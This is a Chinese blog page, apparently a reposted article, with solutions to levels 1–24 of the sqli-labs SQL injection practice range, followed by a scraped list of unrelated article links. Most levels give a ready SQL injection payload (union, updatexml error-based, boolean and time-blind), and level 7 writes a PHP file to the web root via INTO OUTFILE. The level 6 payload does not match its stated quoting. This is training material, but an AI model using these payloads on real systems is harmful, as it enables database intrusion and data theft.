当前位置: 首页 > news >正文

sql-labs靶场

第一关(get传参,单引号闭合,有回显,无过滤)

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

第二关(get传参,无闭合,有回显,无过滤)

?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') 

第三关(get传参,括号加单引号闭合,有回显,无过滤)

?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

 第四关(get传参,括号加双引号闭合,有回显,无过滤)

?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

 第五关(get传参,单引号闭合,无回显有报错,无过滤)

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

第六关(get传参,双引号闭合,无回显有报错,无过滤)

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

第七关(get传参,单引号加两个括号闭合,无回显有报错,无过滤)写webshell

?id=-1')) union select 1,2,'<?php phpinfo();' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\a.php" --+

第八关(get传参,单引号闭合,无回显无报错,无过滤)

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>50--+

第九关(get传参,单引号闭合,页面无变化,无过滤)

?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>50,sleep(3),0)--+

第十关(get传参,双引号闭合,页面无变化,无过滤)

?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>50,sleep(3),0)--+

第十一关(post传参,单引号闭合,有回显,无过滤)

a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#

第十二关(post传参,双引号加括号闭合,有回显,无过滤)

a") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#

第十三关(post传参,单引号加括号闭合,无回显有报错,无过滤)

a') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

第十四关(post传参,双引号闭合,无回显有报错,无过滤)

a" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

第十五关(post传参,单引号闭合,页面无变化,无过滤)

admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>50#

第十六关(post传参,双引号加括号闭合,页面无变化,无过滤)

admin") and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>50#

第十七关(post传参,单引号闭合,无回显有报错)uname被过滤,通过password注入

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

第十八关(post传参,单引号闭合,无回显有报错)uname和password被过滤,通过uagen注入

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

第十九关(post传参,单引号闭合,无回显有报错)uname和password被过滤,通过referer注入

第二十关(post传参,单引号闭合,无回显有报错)uname和password被过滤,通过cookie注入

第二十一关(post传参,单引号闭合,无回显有报错)uname和password被过滤,通过cookie(base64)编码注入

第二十二关(post传参,双引号闭合,无回显有报错)uname和password被过滤,通过cookie(base64)编码注入

第二十三关(get传参,单引号闭合,有回显,有过滤)#,--被过滤了

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1 and '1'='1

第二十四关(get传参,单引号闭合,有回显)二次注入

相关文章:

  • 文件服务器FastDFS 消息队列中间件RabbitMQ
  • 麒麟服务器装完系统后删除backup以及swap分区的操作步骤
  • Debian 配置 Python 开发与运行环境
  • uniapp微信小程序遮罩层u-popup禁止底层穿透
  • 大模型(LLM) 是仅仅比 模型(Model) 更大吗?
  • 数据定义语言CREATE的应用
  • python数据分析与可视化
  • 脸爱云管理系统存在任意文件上传漏洞
  • UI设计师面试整理-设计过程和方法论
  • 基于SSM的宠物领养管理系统的设计与实现 (含源码+sql+视频导入教程+文档+PPT)
  • JavaScript网页设计案例深度解析:从理论到实践
  • P10250 [GESP样题 六级] 下楼梯 题解
  • JS网页设计案例
  • 深入解析Excel文件格式:.xls与.xlsx的差异与应用指南
  • [Uninstall] 软件彻底卸载工具的下载及详细安装使用过程(附有下载文件)
  • ES6简单总结(搭配简单的讲解和小案例)
  • LintCode 31. partitionArray 数组划分
  • yii2中session跨域名的问题
  • 动态规划入门(以爬楼梯为例)
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 猴子数据域名防封接口降低小说被封的风险
  • 记一次用 NodeJs 实现模拟登录的思路
  • 收藏好这篇,别再只说“数据劫持”了
  • 手机端车牌号码键盘的vue组件
  • 它承受着该等级不该有的简单, leetcode 564 寻找最近的回文数
  • 微信小程序填坑清单
  • 源码之下无秘密 ── 做最好的 Netty 源码分析教程
  • mysql 慢查询分析工具:pt-query-digest 在mac 上的安装使用 ...
  • ​​​​​​​sokit v1.3抓手机应用socket数据包: Socket是传输控制层协议,WebSocket是应用层协议。
  • ​1:1公有云能力整体输出,腾讯云“七剑”下云端
  • ​Distil-Whisper:比Whisper快6倍,体积小50%的语音识别模型
  • ​力扣解法汇总946-验证栈序列
  • # Pytorch 中可以直接调用的Loss Functions总结:
  • # windows 安装 mysql 显示 no packages found 解决方法
  • # 飞书APP集成平台-数字化落地
  • #define与typedef区别
  • #QT项目实战(天气预报)
  • #使用清华镜像源 安装/更新 指定版本tensorflow
  • #中国IT界的第一本漂流日记 传递IT正能量# 【分享得“IT漂友”勋章】
  • (二刷)代码随想录第15天|层序遍历 226.翻转二叉树 101.对称二叉树2
  • (非本人原创)我们工作到底是为了什么?​——HP大中华区总裁孙振耀退休感言(r4笔记第60天)...
  • (力扣)1314.矩阵区域和
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • (五)c52学习之旅-静态数码管
  • (一) springboot详细介绍
  • (一)RocketMQ初步认识
  • (转)nsfocus-绿盟科技笔试题目
  • .[backups@airmail.cc].faust勒索病毒的最新威胁:如何恢复您的数据?
  • .gitignore文件_Git:.gitignore
  • .NET “底层”异步编程模式——异步编程模型(Asynchronous Programming Model,APM)...
  • .NET CF命令行调试器MDbg入门(三) 进程控制
  • .NET MVC第三章、三种传值方式
  • .net oracle 连接超时_Mysql连接数据库异常汇总【必收藏】
  • .NET Standard 的管理策略
  • .Net--CLS,CTS,CLI,BCL,FCL